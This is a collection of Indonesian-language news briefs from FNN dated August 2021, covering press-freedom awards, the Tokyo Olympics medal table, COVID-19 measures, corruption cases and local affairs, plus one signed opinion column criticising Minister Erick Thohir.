Wartawan Tempo Nurhadi Jadi Pemenang Udin Award 2021

Jakarta, FNN - Aliansi Jurnalis Independen (AJI) Indonesia kembali memberikan penghargaan Udin Award 2021 kepada wartawan Tempo Nurhadi. Koordinator Udin Award 2021 Musdalifah Fachri dalam keterangan tertulis di Jakarta, Ahad (8/8/2021) menjelaskan, dewan juri berpendapat Nurhadi telah mengalami kekerasan fisik secara langsung dan kekerasan berlanjut karena aktivitas jurnalistiknya. "Kekerasan yang dialami Nurhadi terus berlanjut hingga sekarang karena hilangnya hak dia sebagai jurnalis untuk dapat beraktivitas menjalankan profesinya. Oleh karena itu, Nurhadi sampai saat ini masih berada dalam perlindungan LPSK," kata Musdalifah., sebagaimana dikutip dari Antara. Lembaga Perlindungan Saksi dan Korban (LPSK) memutuskan untuk tetap melindungi Nurhadi karena tersangka pelaku kekerasan yang berasal dari kepolisian Surabaya belum juga ditahan. Nurhadi dinilai masih berada dalam ancaman kekerasan. Ia menegaskan, Udin Award sebagai upaya untuk mendorong kebebasan pers dan kebebasan berekspresi di Indonesia. Udin Award diambil dari nama panggilan wartawan harian Bernas Fuad Muhammad Syafruddin yang meninggal pada tanggal 16 Agustus 1996 di Yogyakarta. Udin dianiaya orang tidak dikenal karena pemberitaan yang ditulisnya pada tanggal 13 Agustus 1996. Tiga hari kemudian ia meninggal dunia. Sampai saat ini, kasusnya tidak tuntas diusut. Pembunuh Udin masih berkeliaran. Melalui Udin Award, AJI ingin memberikan penghargaan kepada jurnalis maupun kelompok jurnalis profesional. Selain itu, mereka yang memiliki dedikasi pada dunia jurnalistik, serta menjadi korban kekerasan, baik fisik atau psikis karena terkait langsung dengan aktivitas jurnalistiknya. Dewan juri menyatakan, Udin Award 2021 harus menjadi pengingat bahwa aparat penegak hukum sebagai kelompok yang memiliki otoritas masih menjadi bagian dari pelaku kekerasan terhadap jurnalis. "Penghargaan Udin Award 2021 harus menjadi pengingat bahwa penegakan hukum atas kasus kekerasan terhadap jurnalis masih kerap diintervensi sehingga seorang jurnalis yang menjadi korban justru mengalami kekerasan berlanjut," kata Latifah Anum Siregar, juri Udin Award 2021. Dewan juri berharap penghargaan Udin Award 2021 bagi Nurhadi harus mampu memaksa aparat penegak hukum supaya sungguh-sungguh memperhatikan masalah kekerasan terhadap jurnalis. Juga diharapkan serius menjalankan proses hukum terhadap para pelakunya, yang merupakan anggota kepolisian. "Kami harus terus berjuang untuk kemerdekaan pers serta memenuhi hak warga negara supaya mendapatkan informasi. Kami harus terus berjuang agar menghentikan kekerasan terhadap jurnalis, dan memperjuangkan keadilan bagi jurnalis yang menjadi korban kekerasan," kata perempuan aktivis pembela Hak Azasi Manuasia di Papua tersebut. Dua juri lainnya, Ade Wahyudin dan Aryo Wisanggeni menjelaskan, integritas dan profesionalitas kandidat menjadi kunci penilaian untuk penghargaan Udin Award 2021. Keduanya menilai, Nurhadi memenuhi semua kriteria ini. Sewaktu menerima kekerasan fisik, Nurhadi cukup kuat dan tidak mudah dinegosiasi dengan tawaran uang atau isu lain. Beberapa liputan investigasi yang dikerjakan Nurhadi memperlihatkan dirinya gigih untuk memperoleh informasi secara independen dan profesional. Selain itu, laporan investigasinya memiliki dampak yang kuat untuk publik. Pada tahun 2019, Nurhadi melakukan liputan investigasi terkait dengan pengelolaan limbah B3 di markas militer Surabaya. Dia mendapatkan ancaman kekerasan, tetapi tetap konsisten menjadi jurnalis profesional. Dewan juri menilai Nurhadi memiliki komitmen tinggi dalam bekerja secara profesional sehingga mampu menginspirasi publik guna mengawal pers yang bebas dan independen. Penghargaan Udin Award 2021 melalui proses sekitar 3 pekan, sejak 1 Juli sampai 23 Juli 2021. Panitia mengirimkan surat kepada lebih 30 AJI kota dan lembaga-lembaga mitra AJI supaya dapat mengirimkan usulan nama kandidat Udin Award 2021. Panitia menerima lima usulan nama kandidat penerima Udin Award 2021. Lima nominator tersebut diusulkan oleh 3 AJI kota, yaitu AJI Surabaya, AJI Balikpapan, dan AJI Medan. (MD).

PLN Jawa Barat Gandeng Pengembang Perumahan Sediakan Kompor Listrik

Bandung, FNN - PT PLN (Persero) Unit Induk Distribusi Jawa Barat (Jabar) melalui PLN UP3 Gunung Putri (GPI) berkolaborasi dengan pengembang perumahan Citra Sentul Raya menerapkan perumahan eco green living melalui penyediaan kompor listrik di setiap rumah. "Realisasi atas kolaborasi ini merupakan yang pertama di PLN UID Jawa Barat. Selain itu, kolaborasi tersebut juga dalam rangka mewujudkan kemandirian dan ketahanan energi nasional serta membangun energi bersih di Jawa Barat," kata Manager PLN UP3 GPI Dini Sulistyawati dalam siaran pers, Ahad, 08 Agustus 2021. Dini menjelaskan, sinergi tersebut selaras dengan program pemerintah pusat dan Pemerintah Provinsi (Pemprov) Jawa Barat, yaitu konversi kompor gas ke kompor listrik. Menurut dia, program tersebut diharapkan dapat meningkatkan kemandirian dan ketahanan energi nasional. Sebab, mengubah penggunaan energi berbasis impor menjadi energi berbasis lokal. Apalagi, elpiji atau gas yang dikonsusi masyarakat sebagian besar masih impor, sementara listrik adalah energi berbasis lokal. "Salah satu langkah mempercepat pencapaian target penggunaan kompor listrik di sektor rumah tangga yaitu melalui konsep perumahan eco green living. Para penghuninya diajak hidup dengan memanfaatkan energi listrik sebagai penggerak kehidupan sehari-hari. Konsep tersebut sangat bermanfaat, dalam rangka menciptakan lingkungan yang sehat, asri, dan nyaman, serta hidup yang lebih produktif," katanya sebagaimana dikutip dari Antara. Dini menjelaskan, ada banyak keuntungan yang diperoleh dengan memakai kompor listrik. Kompor listrik memiliki keunggulan lebih aman karena tidak menggunakan gas dan tidak ada bara api. Selain itu, hemat karena biayanya 20 persen lebih murah, praktis karena pengguna dapat mengatur daya dan durasi memasak. Juga ramah lingkungan, karena tidak mengeluarkan emisi seperti kompor gas, serta sangat gaya. Sedangkan GM Cosntruction & Operational Citra Sentul Raya Gusti M Priyono menuturkan, perumahan dengan fasilitas kompor listrik dapat memberikan kenyamanan bagi penghuni dan terus berkolaborasi baik dengan PLN. (MD).

Indonesia Berada di Peringkat ke-55 Olimpiade Tokyo

Jakarta, FNN - Indonesia finis di peringkat ke-55 dengan perolehan lima medali, terdiri atas satu emas, satu perak dan tiga perunggu pada hari terakhir Olimpiade Tokyo 2020, Minggu, 8 Agustus 2021. Indonesia, yang sudah mengakhiri perjuangannya di Tokyo sejak 2 Agustus, berada di posisi kedua terbaik di antara negara-negara Asia Tenggara, di bawah Filipina yang berada di peringkat ke-50 dengan raihan satu emas, dua perak dan satu perunggu, demikian catatan resmi Olimpiade. Sementara itu, Thailand finis di urutan ke-59 dengan satu emas dan satu perunggu, disusul Malaysia di posisi ke-74 dengan satu perak dan satu perunggu. Merah Putih sempat berada di posisi ke-35, peringkat tertingginya di Tokyo, pada 2 Agustus berkat raihan emas Greysia Polii/Apriyani Rahayu dan satu perunggu dari Anthony Sinisuka Ginting pada cabang bulu tangkis. Namun posisi Indonesia merosot hingga ke urutan ke-55 karena sudah tidak bisa menambah medali mengingat tidak ada lagi atlet Tanah Air yang berlaga di Tokyo sejak 2 Agustus. Sementara itu, negara-negara lain menambah pundi-pundi medalinya hingga hari terakhir Olimpiade. Sebagaimana dikutip dari Antara, pada Olimpiade 2016 Rio, Indonesia mengirimkan 28 atlet yang bertanding pada tujuh cabang olahraga dan finis di peringkat ke-46 dengan raihan satu medali emas dari cabang bulu tangkis serta dua perak dari angkat besi. Kontingen Merah Putih sebelumnya diberi target oleh pemerintah bisa mengalami peningkatan peringkat dari posisi ke-46 di Rio 2016 menjadi posisi ke-40 di Olimpiade 2020 Tokyo. (MD).

F-PKS Kembali Potong Gaji Anggota Bantu Warga Terdampak Corona

Jakarta, FNN - Ketua Fraksi Partai Keadilan Sejahtera (F-PKS) DPR RI Jazuli Juwaini mengatakan, fraksinya kembali menginstruksikan pemotongan gaji anggota legislatifnya mulai dari pusat hingga daerah untuk membantu rakyat terpapar dan terdampak Covid-19. "Pemotongan ini berlaku untuk gaji bulan Agustus 2021. Sejak pandemi Covid-19, sudah kesekian kalinya Fraksi PKS memotong gaji anggotanya. Kali ini akan digunakan untuk pengadaan bantuan sosial dan disalurkan kepada rakyat terpapar Covid-19, antara lain dalam bentuk penyediaan paket sembako dan makanan bagi pasien isolasi mandiri," kata Jazuli dalam keterangannya, di Jakarta, Ahad, 8 Agustus 2021. Dia menjelaskan, lonjakan kasus pada gelombang kedua pandemi benar-benar "memukul" rakyat. Banyak korban jiwa, anak-anak menjadi yatim-piatu, keluarga kehilangan kepala keluarga dan anggotanya. Kondisi itu, menurut dia, pada akhirnya masyarakat tidak punya banyak pilihan, kecuali mengetatkan kembali aktivitas yang tentunya berdampak secara sosial dan ekonomi. Menurut Jazuli, banyak keluhan dari rakyat yang disampaikan maupun disaksikan langsung para anggota legislatif PKS tentang sulitnya kondisi dalam mengakses layanan kesehatan maupun bantuan sosial untuk menopang penghidupan. "Fraksi PKS di DPR terus mendesak pemerintah agar menempatkan keselamatan rakyat sebagai prioritas utama. Sistem dan layanan kesehatan harus ditingkatkan. Bantuan sosial untuk rakyat harus merata berdasarkan basis data yang valid dan akurat," ujarnya. Dia menjelaskan, Dewan Pimpinan Pusat {DPP} PKS telah menginstruksikan struktur dan kader PKS untuk menghimpun bantuan sosial lebih besar lagi. Sebab, kenyataannya banyak rakyat yang kesulitan ekonomi dan tidak dapat mengakses bansos sehingga membutuhkan uluran tangan langsung. "Atas dasar itu, Fraksi PKS kembali memotong gaji anggotanya dari pusat hingga daerah. Hal itu dilakukan sebagai bentuk solidaritas sosial, empati, dan gotong royong agar dapat membantu rakyat lebih luas lagi," katanya. Selain itu, dia mengaku bersyukur banyak elemen masyarakat, relawan, dan organisasi sosial yang menunjukkan solidaritas sosial pada saat pandemi Covid-19. Misalnya, membantu ambulans, oksigen, alat pelindung diri (APD), menyediakan makanan bagi pasien isolasi mandiri (isoman), hingga mengadakan rumah sakit lapangan/darurat. Jazuli menilai solidaritas sosial, empati, kepedulian, dan gotong royong itu benar-benar dibutuhkan di masa pandemi. Sebab, hal itu adalah karakter dan jati diri bangsa Indonesia. (MD).

Arab Saudi Terima Dua Juta Jamaah Umrah yang Sudah Divaksin

Kairo, FNN - Arab Saudi secara bertahap akan menerima permintaan jamaah dari luar negeri (LN) yang sudah divaksin untuk melakukan umrah mulai 9 Agustus. Menurut Antara, Ahad (8/8/2021). langkah itu diterapkan setelah Saudi sekitar satu setengah tahun tidak mengizinkan jamaah asing masuk ke wilayah kerajaan tersebut akibat pandemi Covid-19. Dengan peningkatan kapasitas dari 60.000 menjadi dua juta anggota jamaah per bulan, Mekkah dan Madinah akan mulai menyambut pengunjung luar negeri sambil tetap menerapkan langkah pencegahan Covid-19. Pejabat Kementerian Haji dan Umrah mengatakan, jamaah domestik dan luar negeri harus menyertakan sertifikat vaksinasi Ccived-19 resmi saat mengajukan permohonan untuk melakukan umrah. Jamaah penerima vaksin dari negara-negara yang dimasukkan Arab Saudi ke daftar larangan masuk harus dikarantina setibanya di bandara, menurut laporan tersebut. Umrah, yaitu ziarah ke dua situs paling suci umat Islam yang dilakukan sepanjang tahun, kembali dibuka pada Oktober tahun lalu bagi jamaah domestik. Kota Suci Mekkah dan Madinah untuk tahun kedua hanya mengizinkan orang-orang dari dalam negeri --dalam jumlah terbatas-- untuk mengikuti ibadah haji pada Juli. (MD)

Erick Tohir Menteri Payah

By M Rizal Fadillah RAMAI pemberitaan bahwa mantan terpidana kasus korupsi Emir Moeis ditetapkan oleh para pemegang saham menjadi Komisaris dari anak usaha BUMN PT Pupuk Iskandar Muda. Politisi PDIP ini diangkat pada bulan Februari 2021. Koruptor yang dijadikan Komisaris BUMN bukan saja tidak patut tapi juga melanggar asas good governance. Izedrik Emir Moeis dihukum 3 tahun penjara dan denda 150 Juta oleh PN Jakarta Pusat pada 14 April 2014 dalam kasus suap pemenangan tender PLTU Tarahan Lampung tahun 2004. Rekening Bank Century nya diisi dana USD 357 ribu hasil "hadiah" dari konsorsium Alstom Power Inc Amerika Serikat dan Marubeni Inc Jepang. Saat itu Emir menjadi Wakil Ketua Komisi Energi DPR. Pengangkatan mantan napi korupsi ini tentu bukan tanpa sepengetahuan Menteri BUMN sebab dalam Pasal 6 Permen BUMN No 04/MBU/2020 tentang Pedoman Pengangkatan Anggota Direksi dan Anggota Dewan Komisaris Anak Perusahaan BUMN mengatur kemungkinan Tim Evaluasi menyampaikan hasil kepada Menteri BUMN. Untuk kesekian kalinya Menteri BUMN Erick Thohir menjadi sorotan atas pengangkatan Komisaris di lingkungan BUMN yang di bawah tanggungjawabnya. Sebelumnya adalah Abdi Negara Nurdin atau Abdee Slank yang diangkat menjadi Komisaris PT Telkom. Tim Sukses Jokowi yang pernah menjadi pemakai narkoba dan berfoto telanjang celana merosot menutup kemaluan ini diramaikan publik akan kepatutan dan kemampuannya. Lalu Ahok mantan Wakil Gubernurnya Jokowi di DKI, figur kontroversial yang mantan terpidana kasus penodaan Agama telah diangkat menjadi Komisaris Utama PT Pertamina. Demikian juga Erick Thohir menjadi "tertuduh" dari pelanggaran Peraturan Pemerintah No 68 tahun 2013 mengenai Statuta UI soal perangkapan jabatan Rektor UI Ari Kuncoro dengan Komisaris Bank BUMN. Semestinya Erick Thohir sebagai Menteri BUMN bertanggungjawab atas "kekacauan" pengangkatan Komisaris di berbagai BUMN ini. Asas kepantasan, kompetensi, dan integritas nampak diabaikan. Pertimbangan politik lebih dominan sejalan dengan politik bagi-bagi kekuasaan dan kekayaan Pak Jokowi. Mundur adalah pilihan terbaik untuk Erick Thohir. Namun sayangnya di negeri ini budaya malu dan salah sepertinya sudah tidak ada. Mundur menjadi tabu bahkan seperti sebuah dosa. Soal Emir Moeis yang kini mengemuka telah dikritisi MAKI yang meminta Erick untuk mencopot Emir. Namun semua tahu Erick Thohir butuh "petunjuk" Presiden dulu untuk ini. Tentu skeptis untuk terjadi pencopotan karena masalahnya Emir Moeis adalah kader PDIP yang menjadi bagian dari politik tawar menawar, tekan menekan serta sandera menyandera di lingkungan Istana. Suara publik akan menjadi angin lalu. KPK sudah meminta Emir Moeis untuk menyerahkan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) kepada KPK. Pejabat KPK menyatakan "Jabatan publik diisi oleh figur yang anti korupsi dan memiliki track record yang baik". Erick Thohir itu Menteri payah. Jokowi pun sebenarnya memang Presiden yang payah. *) Pemerhati Politik dan Kebangsaan

DPR Minta Internal Kejaksaan Diperbaiki

Jakarta, FNN - Anggota Komisi III Dewan Perwakilan Rakyat (DPR) Hinca Pandjaitan mendorong perbaikan di internal Kejaksaan RI agar lebih profesional dalam menyelesaikan perkara, khususnya setelah kasus pidana Pinangki Sirna Malasari atau Jaksa Pinangki. "Komisi III DPR RI mendorong perbaikan di tubuh Kejaksaan RI agar lebih profesional dalam menyelesaikan suatu perkara. Saat ada oknum dari Kejaksaan RI yang terbukti bersalah secara hukum, sudah menjadi kewajiban Kejaksaan RI untuk bertindak tegas," kata Hinca dalam keterangan tertulisnya di Jakarta, Sabtu. Hinca mengatakan pemecatan terhadap Pinangki terlambat karena kasus yang menimpa Pinangki saat dirinya menjabat sebagai jaksa telah divonis pada 14 Juni, sedangkan dia baru resmi dipecat sebagai pegawai negeri sipil (PNS) pada 5 Agustus. "Meskipun dia dinyatakan dipecat, menurut hemat saya jelas keputusan ini terlambat," ucap-nya menegaskan. Argumentasi Kejaksaan RI memecat Pinangki menunggu status inkrah selama hampir dua bulan setelah vonis bersalah tersebut, menurut Hinca, sangat lamban. "Padahal jangka waktu untuk mengajukan kasasi hanya sebatas 14 hari. Maka secara normatif, seyogyanya keputusan pemecatan dengan tidak hormat tersebut sudah bisa dikeluarkan bulan Juli 2021," tutur-nya. Pemecatan Pinangki menimbulkan kesan tidak baik karena sebagian besar publik menganggap Kejaksaan baru memecat Pinangki setelah ada desakan keras dari masyarakat, katanya. "Peristiwa ini wajib dievaluasi. Bagaimana pun Kejaksaan RI adalah lembaga penegak hukum, sehingga mau tidak mau menjadi salah satu wajah penegakan hukum di Tanah Air," ujar Anggota Fraksi Demokrat tersebut. (sws)

Unjuk Rasa Penanganan Covid di Bangkok Rusuh

Bangkok, FNN - Pengunjuk rasa terlibat bentrok dengan polisi saat unjuk rasa terkait penanganan COVID-19 di Bangkok, Thailand, Sabtu (7/8/2021).

Pemotongan Bansos Tunai Kemensos di Karawang Dilaporkan ke Kejaksaan

Karawang, FNN - Seorang warga Kabupaten Karawang, Jawa Barat, melaporkan kasus pemotongan bantuan sosial (bansos) tunai Kementerian Sosial sebesar Rp300 ribu ke Kejaksaan Negeri (Kejari) Karawang, Jumat. "Hari ini saya sudah melaporkan pemotongan bansos tunai yang dilakukan petugas Desa Pasirtalaga ke Kejari Karawang," kata Ade Munim, salah seorang korban pemotongan sebesar Rp300 ribu BST, di Karawang, Sabtu. Uang bansos tunai yang dipotong itu ialah bantuan Kementerian (Kemensos) tahap 5 dan 6 di Desa Pasirtalaga, Kecamatan Telagasari, Karawang. Ade mengaku telah menyerahkan berkas permohonan laporan beserta kelengkapan dokumen sebagai barang bukti kepada Kejari Karawang. "Alhamdulilah, kita sudah menyerahkan berkas pelaporan dan kelengkapan dokumen-dokumen sebagai barang bukti pemotongan bansos tunai tahap 5 dan 6 sebesar Rp300 ribu," katanya. Ia menjelaskan ada 281 warga penerima bansos tunai yang tidak menerima dipotong sebesar Rp300 ribu oleh petugas desa, pemotongan dilakukan secara langsung di tempat setelah warga menerima bantuan sebesar Rp600 ribu. Jadi setelah menerima bansos tunai sebesar Rp600 ribu, dirinya diarahkan dalam satu ruangan untuk menandatangani surat pernyataan. "Saya dipanggil dan langsung diminta tanda tangan, lalu diminta uang Rp300 ribu," ujar Ade. Saat ini, ada lebih dari 20 orang yang telah membuat pernyataan tidak menerima atas pemotongan yang dilakukan petugas desa. Ia menyampaikan, warga bersedia untuk menjadi saksi saat proses penyelidikan dilakukan pihak Kejari Karawang. (sws)

Penambang Ilegal Jarah Konsesi PT Timah di Babel

Pangkalpinang, FNN - Penambang bijih timah ilegal menjarah wilayah konsesi PT Timah Tbk di Provinsi Kepulauan Bangka Belitung, sehingga aktivitas tambang ilegal itu berpotensi merugikan perusahaan dan negara. "PT Timah Tbk terus melakukan pengamanan konsesi dari tambang tanpa izin di wilayah konsesi perusahaan di Bangka Barat, Bangka, Bangka Tengah, Bangka Selatan dan Belitung," kata Sekretaris Perusahaan PT Timah Tbk Abdullah Umar Baswedan dalam keterangan pers diterima Antara di Pangkalpinang, Sabtu. Ia mengatakan saat ini PT Timah Tbk kembali mengamankan aset berupa wilayah konsesinya dari penambang tanpa izin di Kawasan Sungai Tempilang, Kabupaten Bangka Barat, dengan melibatkan tim pengamanan dari PT Timah Tbk dan Polda Bangka Belitung dan ditemukan delapan unit mesin dompeng dan satu eksavator yang sedang menambang di wilayah konsesi perusahaan. “Kami sudah beberapa kali melakukan pengamanan konsesi perusahaan dari tambang tanpa izin, sebelumnya pernah di Bangka Selatan, Bangka Barat dan hari ini kami terus berusaha untuk mengamankan wilayah konsesi perusahaan di Kawasan Sungai Tempilang. Ini akan terus kami lakukan," katanya. Menurut dia berdasarkan informasi yang dihimpun, setidaknya satu mesin dompen bisa menghasilkan 100 kilogram bijih timah per hari, sehingga bisa dibayangkan potensi kerugian PT Timah Tbk lantaran konsesinya dijarah oleh tambang tanpa izin. “Bijih timah yang keluar dari konsesi tanpa dapat diidentifikasi ke dalam hasil produksi pemilik konsesi, tentunya ini memiliki potensi kerugian bagi pemilik konsesi. Untuk itu, PT Timah Tbk terus mengamankan wilayah konsesinya," ujarnya. Oleh karena itu, PT Timah Tbk akan terus melakukan pengamanan konsesi dari tambang tanpa izin di wilayah konsesi perusahaan seperti di Bangka Barat, Bangka, Bangka Tengah, Bangka Selatan dan Belitung. "Semua wilayah konsesi perusahaan akan kita jaga, jadi semuanya akan kita amankan. Ini dilakukan secara terus menerus ke seluruh wilayah operasional perusahaan," katanya. Ia menambahkan langkah pengamanan aset dari tambang tanpa izin yang dilakukan PT Timah Tbk merupakan upaya untuk meminimalisir potensi kerugian perusahaan dan juga negara. PT Timah Tbk, kata dia membuka ruang bagi masyarakat yang ingin menambang di konsesi perusahaan melalui skema kemitraan. Dimana bijih timah yang didapatkan harus masuk ke pemilik IUP. “PT Timah Tbk memiliki skema kemitraan, jika masyarakat ingin bekerja di IUP dengan legal. Skema kemitraan ini memberikan kepastian terhadap perbaikan kondisi lingkungan, potensi pendapatan negara berupa pajak dan lainnya, dan masyarakat yang menambang tidak perlu khawatir karena sudah menjadi mitra,” tambahnya. Sebelumnya, PT Timah Tbk telah melakukan pendekatan persuasif kepada penambang tanpa izin agar bisa menggunakan skema kemitraan. Hanya saja, hal ini tidak diindahkan sehingga perusahaan menempuh jalur pengamanan konsesi perusahaan dari penambang tanpa izin. "PT Timah sudah berkoordinasi dengan aparat penegak hukum dalam melaksanakan pengamanan aset. Apabila ditemukan ketidaksesuaian dan potensi pelanggaran maka akan dilanjutkan dengan pelaporan kepada penegak hukum. Koordinasi dan sinergi ini sudah dilakukan," demikian Abdulah. (sws)

Anggota DPRD Minta Gubernur Sejalan dengan Pusat Hadapi Pandemi COVID

Padang, FNN - Anggota DPRD Sumatera Barat Albert Hendra Lukman meminta Gubernur Sumatera Barat harus sejalan dengan pemerintah pusat dalam menghadapi pandemi COVID-19, jangan malah membangun sikap kontra dengan kebijakan pusat. "Saya secara pribadi mengingatkan gubernur agar sejalan dengan pemerintah pusat, saat ini kita dalam masa pandemi sehingga kebijakan yang diambil harus murni untuk keselamatan masyarakat bukan untuk kepentingan pribadi," kata dia di Padang, Sabtu Hal ini diungkapkannya setelah keluarnya komentar gubernur menyikapi survei Satgas COVID-19 yang menyebutkan Sumbar menjadi salah satu daerah yang tidak taat menggunakan masker. "Kita sayangkan ucapan gubernur bahwa orang di Jakarta juga banyak yang tidak mengenakan masker. Seharusnya gubernur dapat lebih bijak menyikapi survei yang ada tersebut," kata politisi dari PDI Perjuangan ini. Ia mengatakan survei yang dibuat Satgas itu tentu memiliki paramater yang jelas dan gubernur harus lebih arif menyikapi hal tersebut. "Kepala daerah merupakan contoh masyarakat, jika ucapan seperti itu tentu membuat masyarakat susah diminta untuk mematuhi protokol kesehatan," kata dia. Ia mengatakan petugas di lapangan mati-matian berusaha agar masyarakat taat terhadap protokol kesehatan untuk selalu mengenakan masker, tidak berkerumun agar meminimalkan penyebaran pandemi COVID-19. "Mungkin ada beban psikologis yang berat dirasakan gubernur dalam menyikapi situasi ini namun sebagai kepala daerah tentu harus memberikan contoh yang baik kepada masyarakat," kata dia. Terutama dalam berkunjung ke lapangan, ia meminta gubernur dapat menjaga protokol kesehatan seperti menggunakan masker yang sesuai dengan protokol kesehatan. "Jangan ditemukan gubernur tidak mengenakan masker dengan benar lagi, gubernur itu contoh dan harus menjadi panutan agar masyarakat disiplin menerapkan protokol kesehatan," kata dia. (sws)

47 Desa di Mukomuko Siap Selenggarakan Pilkades Serentak

Mukomuko, FNN - Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Mukomuko, Provinsi Bengkulu, memastikan sebanyak 47 desa di daerah siap menyelenggarakan pemilihan kepala desa serentak mulai bulan Agustus 2021. "Insya Allah semua desa siap menyelenggarakan pilkades, bulan Agustus ini mulai tahapan," kata Kepala Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Mukomuko, Gianto, dalam keterangannya di Mukomuko, Sabtu. Ia mengatakan, pemerintah setempat dalam minggu ini telah membentuk panitia atau tim pilkades tingkat kabupaten yang terdiri dari berbagai instansi di lingkungan pemerintah setempat da. Instansi vertikal. Ia mengatakan, selanjutkan panitia atau tim pilkades kabupaten setempat yang nantinya akan menjelaskan tahapan pilkades serentak di 47 desa pada pekan depan. Sedangkan pembentukan panitia desa yang langsung menyelenggarakan pilkades serentak akan disampaikan dalam tahapan pilkades. Menurutnya, tidak banyak perubahan pada tahapan pemilihan kepala desa serentak di daerah ini, hanya saja pelaksanaan pemilihan berbeda waktunya. Ia menyebutkan rencananya tahapan pilkades serentak dimulai dari persiapan pembentukan panitia pilkades tingkat desa oleh BPD selama llima hari, yakni tanggal 2-6 Agustus 2021. Kemudian selama Agustus tahapan penyampaian surat keputusan pengangkatan panitia pilkades kepada bupati melalui camat, lalu mengadakan sosialisasi pilkades serentak kepada masyarakat, panitia merencanakan dan mengajukan biaya pilkades kepada bupati melalui camat, persetujuan biaya pemilihan oleh bupati, lalu panitia desa melakukan pendaftaran pemilih. Selanjutnya tahapan pencalonan mulai dari pendaftaran bakal calon hingga hari tenang kampanye terhitung selama dua bulan mulai dari bulan September hingga Oktober 2021. "Pelaksanaan pemungutan suara selama satu hari, kemudian penetapan dan pengesahan kepala desa terpilih dalam pilkades serentak selama satu bulan dalam bulan Oktober 2021, kemudian pelantikan kepala desa terpilih dilaksanakan sekitar bulan November dan Desember tahun ini," ujarnya. Sementara itu, pemerintah setempat telah memiliki Peraturan Daerah (Perda) tentang Pemilihan Kepala Desa di tengah pandemi COVID-19 untuk mengganti Perda Nomor 12 Tahun 2015 tentang Pemilihan Kepala Desa. Perda tentang Perubahan atas Pemilihan Kepala Desa menjadi perda yang mengatur tentang alokasi anggaran untuk kegiatan pemilihan kepala desa pada masa pandemi COVID-19. (sws)

Kasus COVID-19 di Bangka Barat Bertambah 38, Dua Meninggal Dunia

Mentok, Babel, FNN - Satuan Tugas Pengendalian COVID-19 Kabupaten Bangka Barat Provinsi Kepulauan Bangka Belitung, Sabtu, melaporkan penambahan 38 warga terkonfirmasi positif terinfeksi virus corona baru dan dua kasus pasien meninggal dunia. "Dengan adanya penambahan 38 kasus ini, jumlah keseluruhan kasus warga yang terkonfirmasi positif COVID-19 sejak awal pandemi hingga kini menjadi 4.279 orang," kata Juru Bicara Satgas Pengendalian COVID-19 Kabupaten Bangka Barat, M. Putra Kusuma di Mentok, Sabtu. Ia menjelaskan sebanyak 38 kasus baru tersebut berasal dari Kecamatan Mentok 34 orang, Simpangteritip satu orang dan Jebus tiga orang, sehingga jumlah pasien wajib karantina, perawatan dan isolasi mandiri menjadi 588 orang. Pada hari ini juga dirilis adanya tambahan dua dua kasus pasien meninggal dunia berasal dari Jebus dan Parittiga, masing-masing satu orang, sehingga kasus meninggal dunia keseluruhan selama pandemi menjadi 77 orang. Putra Kusuma mengatakan untuk penambahan jumlah pasien sembuh yang terjadi hari ini sebanyak 44 orang, berasal dari Kecamatan Mentok 33 orang, Jebus satu, Parittiga dua, Kelapa tiga dan dari Kecamatan Tempilang lima orang sehingga jumlah total pasien sembuh menjadi 3.614 orang selama pandemi. "Saat ini kita masih menjalankan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 yang membutuhkan dukungan dan peningkatan kesadaran masyarakat dalam mematuhi protokol kesehatan," katanya. PPKM dijalankan untuk meningkatkan kesadaran masyarakat disiplin menjalankan aturan kesehatan sebagai upaya bersama mengendalikan penularan virus. "Pemerintah bersama tim Satgas COVID-19 terus menggencarkan penelusuran dan pengetesan, langkah ini harus diikuti dengan peningkatan kesadaran masyarakat. Disiplin menjalankan protokol kesehatan merupakan kunci agar kita bisa bersama-sama memutus mata rantai penularan," katanya. (sws)

Green Moluccas Galakkan Adopsi Mangrove

Ambon, FNN - Komunitas Green Moluccas menggalakkan kegiatan adopsi mangrove guna menjaga keberadaan dan kelangsungan kawasan mangrove di Teluk Ambon. "Kegiatan adopsi mangrove merupakan program divisi kampanye dan advokasi green moluccas bagi para adopter maupun masyarakat di Ambon maupun di luar," kata Pendiri Green Moluccas, Irene Sohilait, di Ambon, Maluku, Sabtu. Ia mengatakan, para adopter dapat mengadopsi mangrove dengan biaya Rp20 ribu per anakan, termasuk label pada bibit mangrove, perawatan selama satu tahun dan pelaporan pertumbuhan mangrove setiap bulan. Anakan mangrove tersebut, akan dirawat dan dijaga oleh anggota Green Moluccas dan akan dilaporkan ke adopter secara berkala. "Biaya adopsi dapat ditransfer ke rekening Yayasan Kamboti, siapa pun dapat terlibat dalam kegiatan ini," katanya. Kegiatan adopsi tersebut diharapkan mangrove akan menjadi barrier bagi daerah Teluk Ambon dalam. "Adopsi mangrove juga merupakan aksi nyata mencintai, merawat, dan menjaga pesisir laut khussunya di kawasan teluk Ambon," ujarnya. Irene mengakui, program rutin divisi kampanye dan advokasi Green Moluccas "bameti" sampah yaitu membersihkan kawasan mangrove dari sampah setiap hari Jumat. Sampah hasil bameti katanya, akan dikumpulkan di bank sampah dan akan ditukarkan dengan uang atau jenis lainnya. Selain itu juga dilakukan sosialisasi bagi masyarakat terkait pengelolaan sampah berbasis masyarakat, dan bagaimana meningkatkan kesadaran masyarakat. "Peningkatan kesadaran masyarakat melalui penerapan sanksi yang nantinya akan dikerjakan bersama pengurus RT dan RW setempat, bagi masyarakat yang membuang sampah di kawasan mangrove," kata Irene. (mth)

Banda Aceh Terima 4.760 Dosis Vaksin Moderna dan 7.500 Sinovac

